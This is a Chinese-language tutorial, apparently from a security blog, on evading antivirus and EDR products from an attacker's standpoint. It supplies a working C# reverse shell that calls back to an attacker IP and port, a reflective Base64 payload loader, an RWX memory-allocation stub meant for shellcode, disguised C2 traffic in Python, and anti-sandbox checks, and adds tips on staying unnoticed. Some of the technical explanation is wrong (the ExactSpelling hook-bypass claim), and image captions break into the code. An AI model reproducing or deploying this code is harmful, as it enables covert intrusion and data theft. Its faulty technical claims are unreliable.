一、从新闻事件聊起:一场未察觉的高级威胁

2023年初,一家世界知名的能源公司被曝出遭受了疑似APT组织的攻击。根据安全厂商的分析报告,攻击者使用了一种高度隐匿的恶意载荷,成功绕过了目标设备的EDR(Endpoint Detection and Response)防护,最终在受害公司的内网中完成了数据窃取任务。这场攻击的核心在于攻击者精心设计的免杀技术,凭借对检测机制的深入理解,他们构建了几乎无法被现有工具识别的Payload。

这起事件再次让我们认识到,免杀技术在现代攻击链条中扮演着至关重要的角色。对于一名专业的红队成员或安全研究员来说,理解并掌握免杀技术,不仅能帮助我们更好地进行安全评估,也能为防御工作提供重要参考。

接下来,我们将完全从攻击者的角度出发,深度解析免杀技术的核心思路,并通过真实案例和代码实现,带你走进这片“灰色地带”。

---

二、免杀的核心:与EDR的对抗之道

在正式进入技术细节之前,我们需要明确,所谓“免杀”(AV/EDR Bypass),本质上就是为了让我们的恶意载荷躲避杀毒软件、EDR、以及流量审计工具的检测。

目标清单:绕过哪些机制?

现代安全产品的检测机制可以分为以下几类:

  1. 静态签名检测:基于特征码匹配,对文件的内容进行扫描。
  2. 行为分析检测:分析代码运行时的行为,比如是否访问敏感API。
  3. 内存分析:检查内存中是否出现已知的恶意代码特征。
  4. 流量监控:分析网络流量,寻找C2通信的特征。
  5. 机器学习模型:基于特定样本训练的ML模型,用来发现未知威胁。

免杀的核心策略

要绕过这些检测机制,常用的免杀策略有以下几种:

  1. 混淆代码:让静态分析工具无法识别代码逻辑。
  2. 恶意代码分段加载:将恶意逻辑拆分,动态加载到内存中运行。
  3. API Hook对抗:规避安全工具对敏感API的监控。
  4. 流量伪装:将C2通信伪装成正常的网络行为。
  5. 反沙箱与反虚拟化:检测并逃逸安全厂商的分析环境。

我们将在后续部分通过实战示例,逐步拆解这些思路。

---

三、构造免杀Payload:从基础到进阶

构建免杀Payload是免杀技术的核心环节。下面,我们将以一个典型的C#恶意载荷为例,展示从基础到进阶的Payload免杀方法。

1. 基础Payload

我们先从一个最基本的C#恶意载荷开始,构建一个简单的Reverse Shell。

以下是一个基础的C# Reverse Shell代码:

<pre><code class="language-csharp">using System; using System.Diagnostics; using System.Net.Sockets; using System.Text;

namespace BasicReverseShell { class Program { static void Main(string[] args) { string host = &quot;192.168.1.100&quot;; // 攻击者的IP int port = 4444; // 攻击者监听的端口 try { using (TcpClient client = new TcpClient(host, port)) using (NetworkStream stream = client.GetStream()) { byte[] buffer = new byte[4096]; while (true) { int bytesRead = stream.Read(buffer, 0, buffer.Length); string cmd = Encoding.UTF8.GetString(buffer, 0, bytesRead); if (cmd.Trim().ToLower() == &quot;exit&quot;) break;

Process proc = new Process { StartInfo = new ProcessStartInfo { FileName = &quot;cmd.exe&quot;, Arguments = &quot;/c &quot; + cmd, RedirectStandardOutput = true, UseShellExecute = false, CreateNoWindow = true } }; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); byte[] outBuffer = Encoding.UTF8.GetBytes(output); stream.Write(outBuffer, 0, outBuffer.Length); } } } catch (Exception ex) { Console.WriteLine(ex.Message); } } } }</code></pre>

保存为 ReverseShell.cs 并编译后,攻击者即可通过监听器获取一个交互Shell。

然而,这种基础Payload很容易被EDR检测到,因此我们需要对它进行免杀处理。

---

2. 动态加载:规避静态签名检测

为了应对静态签名检测,我们可以使用动态加载技术,将恶意代码分段存储,并在运行时拼接执行。

以下是一个动态加载的C#示例:

<pre><code class="language-csharp">using System; using System.Reflection;

namespace DynamicPayloadLoader { class Program { static void Main(string[] args) { string base64Payload = &quot;base64_encoded_payload&quot;; // 替换为你的Payload的Base64编码 byte[] payload = Convert.FromBase64String(base64Payload); Assembly assembly = Assembly.Load(payload); MethodInfo method = assembly.EntryPoint; if (method != null) { object instance = assembly.CreateInstance(method.Name); method.Invoke(instance, null); } } } }</code></pre>

核心思路

  • 将恶意代码以Base64格式存储,避免被静态扫描工具识别。
  • 在运行时加载字节数组并动态调用。

为了进一步提升效果,我们可以对Base64编码进行自定义混淆。

---

3. API Hook对抗:隐藏恶意行为

大多数EDR会通过Hook方式拦截敏感API行为,比如VirtualAllocCreateRemoteThread等。我们可以通过以下方法规避这些Hook检测。

以下是绕过API Hook的一个示例:

黑客示意图

<pre><code class="language-csharp">using System; using System.Runtime.InteropServices;

黑客示意图

namespace APIBypass { class Program { [DllImport(&quot;kernel32.dll&quot;, SetLastError = true, ExactSpelling = true)] private static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

static void Main(string[] args) { // 手工调用VirtualAlloc,绕过Hook检测 IntPtr address = VirtualAlloc(IntPtr.Zero, 0x1000, 0x1000, 0x40); if (address != IntPtr.Zero) { Console.WriteLine(&quot;Memory allocated at: &quot; + address.ToString(&quot;X&quot;)); // 在这里写入Shellcode或其他恶意代码逻辑 } } } }</code></pre>

关键点

  • 使用ExactSpelling = true避免EDR对API名称的模糊匹配。
  • 手动加载敏感API,绕过Hook。

---

四、流量伪装:让通信看起来“无害”

在成功植入Payload后,攻击者通常需要通过C2服务器与目标进行通信。为了防止流量被检测,我们需要伪装通信流量。

以下是一个基于Python的流量伪装示例:

<pre><code class="language-python">import requests

def fake_http_traffic(): url = &quot;http://example.com/api/data&quot; # 假装是一个正常的API请求 headers = { &quot;User-Agent&quot;: &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36&quot; } payload = { &quot;action&quot;: &quot;update&quot;, &quot;data&quot;: &quot;base64_encoded_command&quot; # 恶意命令以Base64格式发送 } response = requests.post(url, headers=headers, json=payload) print(response.text)

fake_http_traffic()</code></pre>

黑客示意图

通过使用合法的HTTP头和伪装的API路径,攻击者可以更隐秘地传输数据。

---

五、反检测:对抗沙盒与机器学习模型

为了防止恶意代码被沙箱或机器学习模型捕获,我们需要加入反分析技术。例如:

反沙箱技术

  • 检查硬件信息,判断是否运行在虚拟机中。
  • 判断系统运行时间,避免在沙箱中被触发。

以下是一个C#代码示例:

黑客示意图

<pre><code class="language-csharp">using System; using System.Management;

namespace AntiSandbox { class Program { static void Main(string[] args) { string manufacturer = GetSystemManufacturer(); if (manufacturer.Contains(&quot;VMware&quot;) || manufacturer.Contains(&quot;VirtualBox&quot;)) { Console.WriteLine(&quot;Sandbox detected!&quot;); Environment.Exit(0); // 退出程序 } }

static string GetSystemManufacturer() { using (var searcher = new ManagementObjectSearcher(&quot;SELECT Manufacturer FROM Win32_ComputerSystem&quot;)) { foreach (var obj in searcher.Get()) { return obj[&quot;Manufacturer&quot;].ToString(); } } return string.Empty; } } }</code></pre>

---

六、个人经验分享:免杀是一场“猫鼠游戏”

在实际工作中,免杀的技术与策略需要不断更新和演进。攻击者与防御者之间的对抗更像是一场“猫鼠游戏”,没有绝对的胜者。

  1. 深入理解EDR机制:只有了解检测工具的工作原理,才能找到突破口。
  2. 灵活组合技术:单一的免杀手段效果有限,多种技术结合更易成功。
  3. 测试环境搭建:使用多种EDR进行测试,及时调整策略。
  4. 保持低调:不要在攻击过程中暴露过多痕迹,避免引起防御者警觉。

---

免责声明:本文所述技术仅供授权的安全研究与学习用途,任何非法使用均与作者无关。